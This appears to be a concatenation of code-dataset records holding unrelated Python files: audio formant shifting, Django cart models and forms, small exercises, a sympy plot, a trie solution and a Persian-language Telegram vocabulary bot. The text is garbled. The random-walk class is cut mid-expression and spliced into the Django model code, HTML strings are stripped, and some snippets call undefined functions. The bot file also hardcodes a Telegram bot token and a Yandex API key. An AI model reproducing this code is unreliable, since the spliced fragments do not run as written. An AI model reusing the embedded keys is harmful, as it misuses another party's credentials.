fs):\n\tms10=math.ceil(fs*0.005)\n\tms30=math.floor(fs*0.03)\n\tncoeff=2+fs/1000\n\tt = np.arange(0, len(x)-1)\n\tt = t/fs\n\tpos = 1\n\tfm =[]\n\tft = []\n\twhile (pos+ms10) <= len(x)+ms10: #+ms10:\n\t\t\ty=x[pos:pos+ms10-1]\n\t\t\ty=y-np.mean(y)\n\t\t\ta=lpc(y, int(ncoeff))\n\t\t\ta = a.numerator\n\t\t\trts=np.roots(a)\n\t\t\trts = [r for r in rts if np.imag(r) >= 0.01]\n\t\t\tang = np.arctan2(np.imag(rts), np.real(rts))\n\t\t\tfrqs = sorted(ang * (fs / (2 * math.pi)))\n\t\t\tfrqs = frqs[0:4] #limited to four formants\n\t\t\t#print(frqs[0:4])\n\n\t\t\tfm.append(frqs)\n\t\t\tft.append(pos/fs)\n\t\t\tpos = pos+ms10\n\n\treturn fm,ft\n\n\n####################################\n####################################\ndef shift_formants(sp, ft, fm, fs, nos_of_peaks, shiftconst_test):\n\tmulti_shiftedarrays = []\n\tnew_sp=[]\n\tf0_low_limit = 89\n\tfft_size= 2**math.ceil(np.log2(3 * fs / f0_low_limit + 1))\n\tfrequency_axis=np.arange(0, fft_size+1)/fft_size*fs\n\t#for each column in fm you want to increanse by the percent and add to the \n\t#orginal subtract te diffreneces and add the difference to the \n\t#################INCREASE BY SETTING MEAN CONSTANT ###############\n\tstep = fs/fft_size\n\t#shiftconst_test[:] = [round(x / step) for x in shiftconst_test]\n\t#################INCREASE BY CONSTANT ###############\n\tfor q in np.arange(0, len(ft)):\n\t\tspecenv_frame=sp[q,:]\n\t\tformant_frame=fm[q]\n\t\ttest=specenv_frame\n\t\tminimas=[i for i in np.arange(1, len(test)-1) if test[i] <= test[i-1] and test[i]<=test[i+1]]\n\t\t#maximas= peakutils.indexes(specenv_frame) \n\t\tmaximas = argrelmax(specenv_frame)\n\t\tmaximas = maximas [0]\n\t\tformants_index=[];\n\t\tfor d in formant_frame: \n\t\t formants_index.append(np.argmin(abs(frequency_axis-d)))\n\t\tnew_formants=[];\n\t\tif len(maximas) == 0:\n\t\t\tmaximass =[formants_index[0]]\n\t\telse:\n\t\t\tfor k in formants_index:\n\t\t\t\tnew_formants.append(np.argmin(abs(maximas-k)))\n\t\t\t\tmaximass = maximas[np.unique(new_formants)]\n\t\tleftValley=[]\n\t\trightValley=[]\n\t\tfor j in maximass:\n\t\t\tif j <= minimas[0]: #ran into an instance of f1 same as minima[0]\n\t\t\t\tleftValley.append(0)\n\t\t\telse: \n\t\t\t\tleftValley.append(np.amax([i for i in minimas if i < j]))\n\t\t\tif j > minimas[-1]:\n\t\t\t\tright_v=int(round(j+((len(specenv_frame)-j)/2)))\n\t\t\t\trightValley.append(right_v) \n\t\t\telse: \n\t\t\t\trightValley.append(np.amin([i for i in minimas if i > j]))\n\n\t\tmulti_shiftedarrays = []\n\t\tmintoloop = min([2, len(maximass)])#ran into an instance where it had more than two maximas ask to choose minimum btwn 2 or len(maxima)\n\t\tfor k in np.arange(0, mintoloop):#len(maximass)\n\t\t\tpeakarray=[]\n\t\t\tpeakindex=[]\n\t\t\tfor j in np.arange(leftValley[k], rightValley[k]):\n\t\t\t\tpeakarray.append(specenv_frame[j])\n\t\t\t\tpeakindex.append(j)\n\t\t\tshiftconst2= int(round(((formant_frame[k]+(shiftconst_test[k]*0.01*formant_frame[k]))-formant_frame[k])/step))\n\t\t\tshiftconst=shiftconst2\n\t\t\tshifted_array =np.zeros(len(test))\n\t\t\tfor i in peakindex:\n\t\t\t\tshifted_array[i+shiftconst]=test[i]\n\t\t\tif shiftconst<0:\n\t\t\t\tfor k in np.arange(0, abs(shiftconst)):\n\t\t\t\t\tshifted_array[peakindex[-1]+k-1]=peakarray[-1]\n\t\t\telse:\n\t\t\t\tfor k in np.arange(0, abs(shiftconst)):\n\t\t\t\t\tshifted_array[peakindex[0]+k]=peakarray[0]\t\n\n\t\t\tmulti_shiftedarrays.append(shifted_array)\n\n\t\tmulti_shiftedarrays= np.max(multi_shiftedarrays,axis=0)\n\t\tfor g in np.where(multi_shiftedarrays == 0)[0]:\n\t\t\tmulti_shiftedarrays[g]=test[g]\n\n\t\tnew_sp.append(multi_shiftedarrays)\n\tnew_sp = np.array(new_sp)\n\treturn new_sp\n\n\ndef looptoweb(path,f1perc, f2perc):\n\t#table is the name of the output html \n\tx, fs = sf.read(path)\n\tf0, t = pw.dio(x, fs, f0_floor=50.0, f0_ceil=600.0)\n\tsp = pw.cheaptrick(x, f0, t, fs)\n\tap = pw.d4c(x, f0, t, fs)\n\ttable_file = open('Amus_shifting.html', 'w')\n\ttable_file.write(''+styletext+'

Audio Files
'+ path[-30:] +'

')\n\tfor k in np.arange(0, len(f2perc)):\n\t\ttable_file.write('')\n\ttable_file.write('')\n\tfor i in np.arange(0, len(f1perc)):\n\t\ttable_file.write('')\n\t\ttable_file.write('')\n\t\tfor j in np.arange(0, len(f2perc)):\n\t\t\taudio_out='testaudio/'+'testsmile' + '_' + str(f1perc[i]) + '_' + str(f2perc[j]) +'.wav'\n\t\t\tfm, ft =cam_formants(x,fs)\n\t\t\tshifted_sp=shift_formants(sp, ft, fm, fs, 2, [f1perc[i],f2perc[j]])\n\t\t\t#print('-------------------------'+[f1perc[i],f2perc[j]]+'----------------------------------------')\n\t\t\tnew_y = pw.synthesize(f0[0:len(shifted_sp)], shifted_sp, ap[0:len(shifted_sp)], fs)\n\t\t\twav.write(audio_out,fs, new_y)\n\t\t\ttable_file.write('')\n\t\ttable_file.write('')\n\ttable_file.write('
Form1/Form2'+ str(f2perc[k])+'%'+'
'+str(f1perc[i])+'%'+'
')\n\ttable_file.write('

Original Audio


')\n\ttable_file.write('')\n\ttable_file.close()\n\n\n\n#nos_of_peaks = 4\n#shiftconst_test = [50, 20, 60, 90]\n#fm, ft =cam_formants(x,fs)\n#shifted_sp = shift_formants(sp, ft, fm, fs, nos_of_peaks, shiftconst_test)\n#f1perc=[10,20,30,40,50]\n#f2perc=[13,23,33,43,53]\n#zyx = looptoweb(f1perc, f2perc)\n\n\n\n\n","sub_path":"PYTHON/GUI_demo/Amus_shifting.py","file_name":"Amus_shifting.py","file_ext":"py","file_size_in_byte":5849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"551505077","text":"\"\"\"\nCode Challenge\n Name: \n Space Seperated data\n Filename: \n space_numpy.py\n Problem Statement:\n You are given a 9 space separated numbers. \n Write a python code to convert it into a 3x3 NumPy array of integers.\n Input:\n 6 9 2 3 5 8 1 5 4\n Output:\n [[6 9 2]\n [3 5 8]\n [1 5 4]]\n \n\"\"\"\nimport numpy as np\nlist1=[]\nnum1=list(raw_input(\">Enter values>\").split(\" \"))\n\nnum2=np.array(num1)\nnum2=np.int_(num2)\nprint(num2.reshape(3,3))\n","sub_path":"week3/day1/space_numpy.py","file_name":"space_numpy.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"640659907","text":"'''\n@Author: your name\n@Date: 2020-01-28 15:19:23\n@LastEditTime : 2020-01-28 15:29:48\n@LastEditors : Please set LastEditors\n@Description: In User Settings Edit\n@FilePath: \\vscode_code\\vscode_python_test\\数据可视化\\random_walk.py\n'''\nfrom random import choice\nclass Randomwalk():\n def __init__(self,num=5000):\n self.num=num\n self.x_values=[0]\n self.y_values=[0]\n def fill_walk(self):\n while len(self.x_values) 1:\n\t\t\t\tpreexisting_order.cantidad -=1\n\t\t\t\tpreexisting_order.save()\n\t\t\telse:\n\t\t\t\tpreexisting_order.delete()\n\t\texcept productocarro.DoesNotExist:\n\t\t\tpass\n\n\tdef add_to_cart_combinada(self,producto_id,id_tamano):\n\t\tproducto=menu.objects.get(pk=producto_id)\n\t\ttamano=tamanos.objects.get(pk=id_tamano)\n\t\ttry:\n\t\t\tpreexisting_order=productocarro.objects.get(producto=producto,cart=self,tamano=tamano)\n\t\t\tpreexisting_order.cantidad +=1\n\t\t\tpreexisting_order.save()\n\t\texcept productocarro.DoesNotExist:\n\t\t\tnew_order=productocarro.objects.create(\n\t\t\t\tproducto=producto,\n\t\t\t\ttamano=tamano,\n\t\t\t\tcart=self,\n\t\t\t\tcantidad=1,\n\t\t\t\t)\n\t\t\tnew_order.save()\n\n\tdef add_direccion(self,direccion):\n\t\tdire=Direcciones.objects.get(id=direccion)\n\t\tself.direccion=dire\n\t\tself.save()\n\n\nclass pedido_repartidor(models.Model):\n\tUsuario=models.ForeignKey(User, on_delete=models.CASCADE)\n\tcart=models.ForeignKey(Cart,on_delete=models.CASCADE,null=True)\n\nclass productocarro(models.Model):\n\tproducto=models.ForeignKey(menu)\n\ttamano=models.ForeignKey(tamanos,null=True)\n\tcart=models.ForeignKey(Cart)\n\tcantidad=models.PositiveIntegerField()\n\n\nclass ingredientes(models.Model):\n\tmenu=models.ForeignKey(menu,on_delete=models.CASCADE)\n\tproductocarro=models.ForeignKey(productocarro,on_delete=models.CASCADE,null=True)\n\n\n\nclass comentario(models.Model):\n\tusuario=models.ForeignKey(User)\n\tcart=models.ForeignKey(Cart,null=True)\n\tpost=models.CharField(max_length=400)\n\tparent=models.ForeignKey('self',null=True,blank=True)\n\ttimestamp=models.DateTimeField(auto_now_add=True,null=True)\n\tdef children(self):\n\t\treturn comentario.objects.filter(parent=self)\n\tdef is_parent(self):\n\t\tif self.parent is not None:\n\t\t\treturn False\n\t\treturn True","sub_path":"proyecto/home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"52523242","text":"\n\"\"\"\nreadlines()\n\"\"\"\nf = open(\"C:/CodeLab/test.txt\", 'r')\n# readlines() 함수는 파일의 모든 라인을 읽어서 각각의 줄을 요소로 갖는 리스트를 리턴합니다.\n# lines는 [\"1 번째 줄입니다.\\n\",\"2 번째 줄입니다.\\n\",..., \"10 번째 줄입니다.\\n\"]라는 리스트가 됩니다.\nlines = f.readlines()\nprint (lines)\nprint ()\n \nfor line in lines:\n print(line)\nf.close()\n\n\n\n\"\"\"\n동일한 코드\n\"\"\"\nf = open(\"C:/CodeLab/test.txt\", 'r')\n\n# 파일 포인터 위치를 0으로 이동\nf.seek(0)\ni = 1\nfor line in f.readlines():\n print( i, \":\", line,)\n i += 1\nf.close()","sub_path":"PythonMain/src/ch06-io/ex03.py","file_name":"ex03.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"447912752","text":"def wordStats(name1, name2, freqRange):\n rfile = open(name1, 'r')\n wfile = open(name2, 'w')\n fileCont = rfile.read()\n words = set(fileCont.split())\n lines = fileCont.split(\"\\n\")\n for word in words:\n for freq in range(freqRange):\n lnlst = []\n count = 0\n for line in lines:\n print(line)\n if line.count(word) == freq:\n lnlst.append(count)\n count+=1\n wfile.write(word + \" \" + str(freq) + \" \" + str(lnlst) + \"\\n\")\n rfile.close()\n wfile.close()\n\nwordStats(\"text.txt\", \"wat.txt\", 3)\n","sub_path":"CS100-RoadMap to CS Python/wordStatsNuke.py","file_name":"wordStatsNuke.py","file_ext":"py","file_size_in_byte":615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"30466528","text":"# -*- coding: utf-8 -*-\nfrom django import forms\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom bootstrap_toolkit.widgets import BootstrapDateInput #, BootstrapTextInput, BootstrapUneditableInput\n\nfrom core.models import Account, Transaction, ScheduledTransaction\n\n\nclass AccountForm(forms.ModelForm):\n creditcard_limit = forms.DecimalField(max_digits=10, decimal_places=2, localize=True, label=_('creditcard.limit'), required=False)\n\n class Meta:\n model = Account\n exclude = ('user',)\n\n\nclass TransactionForm(forms.ModelForm):\n transaction_date = forms.DateField(widget=BootstrapDateInput, label=_('generic.date'))\n amount = forms.DecimalField(max_digits=10, decimal_places=2, localize=True, label=_('generic.amount'), required=True)\n\n class Meta:\n model = Transaction\n\n\nclass TransactionCreateForm(TransactionForm):\n\n def __init__(self,*args,**kwargs):\n TransactionForm.__init__(self, *args, **kwargs)\n\n self.fields.insert(\n 6, 'is_transfer',\n forms.BooleanField(\n widget=forms.CheckboxInput(attrs={'onclick': 'transfer(this)'}),\n label=_('transaction.is_transfer'),\n required=False\n )\n )\n self.fields.insert(\n 7, 'account_transfer',\n forms.ModelChoiceField(\n queryset=None,\n widget=forms.Select(attrs={'style':'display:none'}),\n label='',\n required=False,\n help_text=''\n )\n )\n\n def save(self, force_insert=False, force_update=False, commit=True):\n obj = super(TransactionCreateForm, self).save()\n \n is_transfer = self.cleaned_data.get('is_transfer')\n if not is_transfer:\n return obj\n\n account_transfer = self.cleaned_data.get('account_transfer')\n tags = self.cleaned_data.get('tags')\n if account_transfer:\n transaction = Transaction.objects.create(\n account=account_transfer,\n transaction_date=obj.transaction_date,\n description=obj.description,\n is_transfer=True,\n amount=obj.amount * -1\n )\n transaction.tags.add(*tags)\n return obj\n\n def clean(self):\n cleaned_data = super(TransactionCreateForm, self).clean()\n\n is_transfer = self.cleaned_data.get('is_transfer')\n account = self.cleaned_data.get('account')\n account_transfer = self.cleaned_data.get('account_transfer')\n if account_transfer and is_transfer and account.id == account_transfer.id:\n self.fields['account_transfer'].widget.attrs = {}\n self._errors['account_transfer'] = self.error_class([_('The origin account is the same destination account.')])\n\n return cleaned_data\n\n class Meta:\n model = Transaction\n\n\nclass ScheduledTransactionForm(forms.ModelForm):\n next_date = forms.DateField(widget=BootstrapDateInput, label=_('scheduled.next_date'))\n amount = forms.DecimalField(max_digits=10, decimal_places=2, localize=True, label=_('generic.amount'), required=True)\n\n class Meta:\n model = ScheduledTransaction\n exclude = ('key',)\n \n\nclass ScheduledTransactionEditForm(ScheduledTransactionForm):\n\n class Meta:\n model = ScheduledTransaction\n exclude = ('number_repetitions', 'number_replications', 'unit_replications', 'key')\n ","sub_path":"poupaniquel/apps/web/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"191255169","text":"from setuptools import setup, find_packages # Always prefer setuptools over distutils\nfrom codecs import open # To use a consistent encoding\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the relevant file\nwith open(path.join(here, 'DESCRIPTION.rst'), encoding='utf-8') as f:\n long_description = f.read()\n \nsetup(\n name='plldesigner',\n \n version='0.1.2',\n \n py_modules=['plldesigner.sdmod', 'plldesigner.pll',\n 'plldesigner.pnoise'],\n \n description='Python toolkit for PLLs design and phase noise analysis',\n \n #Author details\n author='Juan F. Osorio',\n author_email='jfosorio@gmail.com',\n \n #Project web page\n url='https://github.com/jfosorio/plldesigner',\n \n \n # Choose your license\n license='BSD',\n\n # See https://pypi.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n # How mature is this project? Common values are\n # 3 - Alpha\n # 4 - Beta\n # 5 - Production/Stable\n 'Development Status :: 3 - Alpha',\n\n # Indicate who your project is intended for\n 'Intended Audience :: Developers',\n 'Topic :: Software Development :: Build Tools',\n\n # Pick your license as you wish (should match \"license\" above)\n 'License :: OSI Approved :: BSD License',\n\n # Specify the Python versions you support here. In particular, ensure\n # that you indicate whether you support Python 2, Python 3 or both.\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.4',\n ],\n\n )\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"352805465","text":"from sympy import *\nfrom sympy.plotting import *\n\nx, y, f, r, a, t = symbols(\"x y f r a t\")\n\na = 1\n\n# sluza = Eq(sec(f) + a*cos(f), r) # такой формат функции не подходит \n# pprint(sluza)\n\nsluza = Eq((x-1)*(x**2+y**2), a*x**2)\n\nplots = plot_implicit(sluza, (x, -10, 10), (y, -10, 10), show = false)\n\nfor i in range (-4, 4):\n sluza = Eq((x - 1) * (x ** 2 + y ** 2), a * x ** 2).subs(a, i)\n plots.extend(plot_implicit(sluza, (x, -10, 10), (y, -10, 10), show = false))\nplots.show()\n","sub_path":"attest(4.4).py","file_name":"attest(4.4).py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"329696951","text":"\"\"\"\n211\ndesign add and search words data structure\nmedium\n\n20210607\n\nDesign a data structure that supports adding new words and finding if a string\nmatches any previously added string.\n\nImplement the WordDictionary class:\n\nWordDictionary() Initializes the object.\nvoid addWord(word) Adds word to the data structure, it can be matched later.\nbool search(word) Returns true if there is any string in the data structure that\nmatches word or false otherwise. word may contain dots '.' where dots can be matched with any letter.\n\"\"\"\nfrom collections import defaultdict\n\n\nclass TrieNode:\n\n def __init__(self):\n \"\"\"\n Initialize trie node.\n \"\"\"\n self.children = defaultdict(TrieNode)\n self.isEnd = False\n\nclass WordDictionary:\n\n def __init__(self):\n \"\"\"\n Initialize your data structure here.\n \"\"\"\n self.root = TrieNode()\n\n def addWord(self, word: str) -> None:\n \"\"\"\n add word to the data structure.\n :param word:\n :return:\n \"\"\"\n current = self.root\n for c in word:\n current = current.children[c]\n current.isEnd = True\n\n\n def search(self, word: str) -> bool:\n \"\"\"\n check if the word is in the trie.\n :param word:\n :return:\n \"\"\"\n return self._dfs(self.root, word)\n\n\n def _dfs(self, start, word):\n if len(word) < 1:\n return start.isEnd\n if word[0] == \".\":\n return any(self._dfs(start.children[child], word[1:]) for child in start.children)\n if word[0] not in start.children:\n return False\n else:\n return self._dfs(start.children[word[0]], word[1:])\n\n\n# Your WordDictionary object will be instantiated and called as such:\n# obj = WordDictionary()\n# obj.addWord(word)\n# param_2 = obj.search(word)\n\nobj = WordDictionary()\nobj.addWord(\"leet\")\nobj.addWord(\"leetcode\")\nobj.addWord(\"hi\")\n\nprint(obj.search(\"leetcode\"))\nprint(obj.search(\"leetcode\"))\nprint(obj.search(\"le.t\"))\n\n\n","sub_path":"Q211.py","file_name":"Q211.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"618289503","text":"import math\n\nangulo = int(input())\nangulo = math.radians(angulo)\nv = float(input('Digite a velocidade'))\ng = 9.8\nd = ((v**2)*sin(2*angulo))/g\nif d <= 98:\n print('Muito perto')\nelif d >= 102:\n print('Muito longe')\nelse:\n print('Acertou!')","sub_path":"backup/user_027/ch30_2019_03_08_21_05_00_269004.py","file_name":"ch30_2019_03_08_21_05_00_269004.py","file_ext":"py","file_size_in_byte":246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"213487785","text":"from datetime import datetime, timedelta\r\nfrom django.utils import timezone\r\nimport asyncio\r\nimport telepot\r\nfrom aiohttp import web\r\nfrom django.core.management import BaseCommand\r\nfrom telepot.aio.delegate import pave_event_space, per_chat_id, create_open, include_callback_query_chat_id\r\nfrom bot.models import TeleUser,Word, Ponsad, Join\r\nfrom bot.form import TeleUserForm, WordForm, JoinForm, NazarForm\r\nfrom telepot.namedtuple import ReplyKeyboardMarkup,KeyboardButton,ReplyKeyboardRemove,InlineKeyboardButton, InlineKeyboardMarkup\r\nfrom django.db.models import Q\r\nimport random\r\nfrom telepot.aio.loop import OrderedWebhook\r\nfrom urllib.request import urlopen\r\nimport json\r\nfrom user_profile.models import Registration,Writing,User, Hamayesh,Event,BuyEvent\r\ntelepot.api.set_proxy('http://206.189.55.236:8569/')\r\nTOKEN='333028480:AAG2EAmXyBfGqV4XYyD7iD7EEZnd6zvil78'\r\nkey1 = ReplyKeyboardMarkup(\r\n keyboard=[[KeyboardButton(text='ثبت لغت جدید ✍🏻'), KeyboardButton(text='مرور لغت های من 🔎')],\r\n [KeyboardButton(text='لیست لغت های من 📝'),KeyboardButton(text='مرور لغت های 504📙')],\r\n [KeyboardButton(text='به من یاد آوری کن📢'),KeyboardButton(text='معرفی به دوستان❣️')]],\r\n resize_keyboard=True, one_time_keyboard=True)\r\n\r\nclass Start(telepot.aio.helper.ChatHandler):\r\n def __init__(self ,*args, **kwargs):\r\n super(Start, self).__init__(*args, **kwargs)\r\n self._id = 0\r\n self._answer = None\r\n self._answer_id=None\r\n self._score=0\r\n self._message_ind=None\r\n self._delete=0\r\n self._message_ind_delet=None\r\n self._correct=0\r\n self._wrong=0\r\n self._count=0\r\n self._hint=None\r\n\r\n# state : 1 start\r\n# state : 2 sabte loghat\r\n# state : 3 sabte mani\r\n# state : 4 liste loghat ha\r\n# state : 5 moror\r\n# state : 6 reminder\r\n# state : 7 mororo 504\r\n\r\n\r\n\r\n async def on_chat_message(self, msg):\r\n from_id = msg['from']['id']\r\n user=TeleUser.objects.filter(user_id=from_id)\r\n if user:\r\n a = TeleUser.objects.get(user_id=from_id)\r\n\r\n if msg['text']=='/back':\r\n a.state = 1\r\n a.save()\r\n await self.sender.sendMessage('یکی از گزینه های زیر را انتخاب کنید', reply_markup=key1)\r\n elif msg['text']=='telegram-id':\r\n await self.sender.sendMessage(msg['from']['id'])\r\n elif msg['text']=='mehradabedidata':\r\n tele = TeleUser.objects.all().count()\r\n word = Word.objects.all().count()\r\n writing = Writing.objects.all().count()\r\n dore = Registration.objects.filter(course__name='Mokaleme').count()\r\n essay = Registration.objects.filter(course__name='Essay samples').count()\r\n karbar = User.objects.all().count()\r\n join504=Join.objects.all().count()/504\r\n text = 'tele user={tele}\\n' \\\r\n 'tele word={word}\\n' \\\r\n 'writing={writing}\\n' \\\r\n 'dore={dore}\\n' \\\r\n 'essay={essay}\\n' \\\r\n 'karbar={karbar}\\n'\\\r\n '504 = {join}'.format(join=join504,tele=tele, word=word, writing=writing, karbar=karbar, dore=dore, essay=essay)\r\n await self.sender.sendMessage(text)\r\n\r\n else:\r\n\r\n if a.state==1:\r\n if msg['text']=='ثبت لغت جدید ✍🏻':\r\n a.state =2\r\n a.save()\r\n await self.sender.sendMessage('لغت ای را که تمایل به حفظ آن دارید وارد کنید\\n\\n برای بازگشت به منوی اصلی بر روی /back کلیک کنید',reply_markup=ReplyKeyboardRemove(remove_keyboard=True))\r\n elif msg['text']=='مرور لغت های من 🔎':\r\n wordscount = Word.objects.filter(teleuser=a).count()\r\n review= Word.objects.filter(teleuser=a).filter(\r\n Q(next_review_time__lte=timezone.now()) | Q(next_review_time=None)).count()\r\n memory=wordscount-review\r\n\r\n key2=InlineKeyboardMarkup(inline_keyboard=[\r\n [InlineKeyboardButton(text=' مرور لغت ها', callback_data='shoro')],[InlineKeyboardButton(text='بازگشت به منوی اصلی', callback_data='end')\r\n ]])\r\n\r\n text='📉 \\n شما {count} لغت ثبت کرده اید✒️ \\n \\n {review} لغت برای مرور دارید!💡\\n \\n و موفق به حفظ {mem} لغت شده اید.📌\\n \\n .'.format(mem=memory,count=wordscount,review=review)\r\n send=await self.sender.sendMessage(text,reply_markup=key2)\r\n self._id=msg['from']['id']\r\n\r\n self._message_ind= telepot.message_identifier(send)\r\n\r\n elif msg['text']=='لیست لغت های من 📝':\r\n list=Word.objects.filter(teleuser=a.pk)\r\n n=0\r\n if list:\r\n for i in list:\r\n n=n+1\r\n text = '{count}- {word} '.format(count=n,word=i.word)\r\n key= InlineKeyboardMarkup(inline_keyboard=[\r\n [InlineKeyboardButton(text='جزییات مرور 🔎', callback_data=str(i.pk))]])\r\n await self.sender.sendMessage(text,reply_markup=key)\r\n\r\n a.state=4\r\n a.save()\r\n else:\r\n await self.sender.sendMessage('شما هنوز لغتی ثبت نکرده اید', reply_markup=key1)\r\n elif msg['text']=='معرفی به دوستان❣️':\r\n await self.sender.sendMessage('سلام من از بات اسکورایز برای یادگیری بهتر زبان استفاده می کنم.\\n به شما هم پیشنهاد می کنم\\n\\n'\\\r\n '1️⃣لغت هایی که دوست دارید یاد بگیرن واردش کنید\\n 2️⃣برای معنی لغت ها می تونید از دیکشنریش استفاده کنید\\n'\\\r\n '3️⃣برای مرور لغت ها ازتون تست 4 گزینه ای می گیره\\n4️⃣سوال ها رو با زمان بندی علمی بر اساس قواعد جعبه لایتنر ازتون می پرسه\\n'\\\r\n '5️⃣می تونید بهش زمان بدین تا براتون هر روز یادآوری کنه\\n6️⃣و کلی امکانات دیگر که بزودی اضافه خواهد شد\\n\\n'\\\r\n 'با ما همراه باشید\\n\\n'\\\r\n 'telegram.me/scorizebot')\r\n elif msg['text'] == 'مرور لغت های 504📙':\r\n join=Join.objects.filter(teleuser=a)\r\n if join:\r\n review = Join.objects.filter(teleuser=a).filter(\r\n Q(next_review_time__lte=timezone.now()) | Q(next_review_time=None)).count()\r\n memory = 504- review\r\n key2 = InlineKeyboardMarkup(inline_keyboard=[\r\n [InlineKeyboardButton(text=' ادامه ی مرور 504', callback_data='shoro504')],\r\n [InlineKeyboardButton(text='بازگشت به منوی اصلی', callback_data='end')\r\n ]])\r\n text = '{mem} :لغت را به خاطر سپرده اید \\n\\n' \\\r\n '🔴پس از هر بار پاسخ صحیح لغت ها به فاصله زمانی 1،2،5،10،20،40 روز از شما پرسیده می شود.🔴'.format(\r\n mem=memory)\r\n send = await self.sender.sendMessage(text, reply_markup=key2)\r\n self._id = msg['from']['id']\r\n self._message_ind = telepot.message_identifier(send)\r\n else:\r\n key2 = InlineKeyboardMarkup(inline_keyboard=[\r\n [InlineKeyboardButton(text='شروع مرور لغت های کتاب 504', callback_data='shoro504')],\r\n [InlineKeyboardButton(text='بازگشت به منوی اصلی', callback_data='end')\r\n ]])\r\n text = '📕504 absolutely essential words📕\\n' \\\r\n 'در این قسمت می توانید لغات این کتاب مهم را به صورت تستی و سریع مرور کنید\\n\\n' \\\r\n '⚠️هر جواب درست 5 امتیاز مثبت و هر جواب اشتباه 3 امتیاز منفی دارد.'.format()\r\n send = await self.sender.sendMessage(text, reply_markup=key2)\r\n self._id = msg['from']['id']\r\n self._message_ind = telepot.message_identifier(send)\r\n elif msg['text'] == '1100📙':\r\n await self.sender.sendMessage(\r\n 'لیست کامل لغت های کتاب 1100 \\n\\nwords you need to know 📢 به زودی همراه با عکس',\r\n reply_markup=key1)\r\n elif msg['text']=='به من یاد آوری کن📢':\r\n remindkey=ReplyKeyboardMarkup(\r\n keyboard=[[KeyboardButton(text='یادآوری نمی خوام')],\r\n [KeyboardButton(text='صبح ساعت 9')],\r\n [KeyboardButton(text='ظهر ساعت 12')],\r\n [KeyboardButton(text='عصر ساعت 5')],\r\n [KeyboardButton(text='شب ساعت 20')],\r\n [KeyboardButton(text='نیمه شب ساعت 11')]],\r\n resize_keyboard=True, one_time_keyboard=True)\r\n if a.notif_time==None:\r\n await self.sender.sendMessage(\r\n 'یکی از زمان های زیر را برای یاد آوری انتخاب کنید\\n' \\\r\n 'تا در آن زمان هر روز برایتان پیام یادآوری داده شود.\\n\\n' \\\r\n '⏱⏱⏱⏱برای بازگشت به منوی اصلی بر روی /back کلیک کنید',\r\n reply_markup=remindkey)\r\n else:\r\n await self.sender.sendMessage('\\n{time}\\n' \\\r\n 'این زمان برای شما ثبت شده است آیا مایل به تغییر آن هستید\\n\\n'\\\r\n 'برای بازگشت به منوی اصلی بر روی /back کلیک کنید'.format(time=a.notif_time),\r\n reply_markup=remindkey)\r\n a.state=6\r\n a.save()\r\n elif msg['text']=='sendtoall':\r\n teleuser=TeleUser.objects.all()\r\n text='\\n🎉🎉🎉🎉🎉🎉\\n'\\\r\n 'ارائه دهنده: شایان زمانی دانشجوی دانشگاه کلگری کانادا\\n\\n'\\\r\n 'زمان: 12 آبان | ساعت 18\\n\\n'\\\r\n 'مکان: خونه، کافه، سر کار و یا هرکجا که راحتترید و اینترنت دارید\\n\\n'\\\r\n 'https://goo.gl/K8aJCe'\r\n # caption=\"https://goo.gl/XtrpgK\"\r\n\r\n key3 = InlineKeyboardMarkup(inline_keyboard=[\r\n [InlineKeyboardButton(text=' ثبت پیشنهادات و نظرات', callback_data='nazar')]])\r\n n=0\r\n for i in teleuser:\r\n\r\n try:\r\n await bot.sendPhoto(i.user_id, 'https://t.me/scoriiiiii/3', caption=text, reply_to_message_id=None, reply_markup=None)\r\n\r\n # await bot.sendMessage(i.user_id, text, reply_markup=key3)\r\n print(\"message sent\")\r\n except telepot.exception.TelegramError:\r\n n=+1\r\n await bot.sendMessage('91655393',n)\r\n\r\n elif msg['text']=='hamayesh':\r\n all=BuyEvent.objects.all().count()\r\n try:\r\n ekshanbee=BuyEvent.objects.filter(event_id=9).count()\r\n event=Event.objects.last()\r\n chaar=BuyEvent.objects.filter(event=event).count()\r\n jomee=BuyEvent.objects.filter(event=event).filter(payment=True).count()\r\n except:\r\n hamayesh=0\r\n text='all:{yelshanbe}\\npay: {jome}\\n'.format(yelshanbe=chaar,jome=jomee)\r\n await self.sender.sendMessage(text, reply_markup=None)\r\n elif msg['text'] == 'plus':\r\n plus=Registration.objects.filter(course=3).count()\r\n await self.sender.sendMessage(plus, reply_markup=None)\r\n else:\r\n await self.sender.sendMessage('یکی از گزینه های زیر را انتخاب کنید', reply_markup=key1)\r\n a.state=1\r\n a.save()\r\n\r\n elif a.state==2:\r\n newword=msg['text']\r\n form = WordForm(data={\r\n 'word': newword,\r\n 'teleuser': a.pk,\r\n })\r\n if form.is_valid():\r\n form.save()\r\n text = 'https://dictionary.yandex.net/api/v1/dicservice.json/lookup?key=dict.1.1.20170612T184703Z.c9ff840dacd71602.3fe9b8816d4e80c302fe0805b055d47d47ab2dfa&lang=en-en&text={word}'.format(\r\n word=newword)\r\n url = 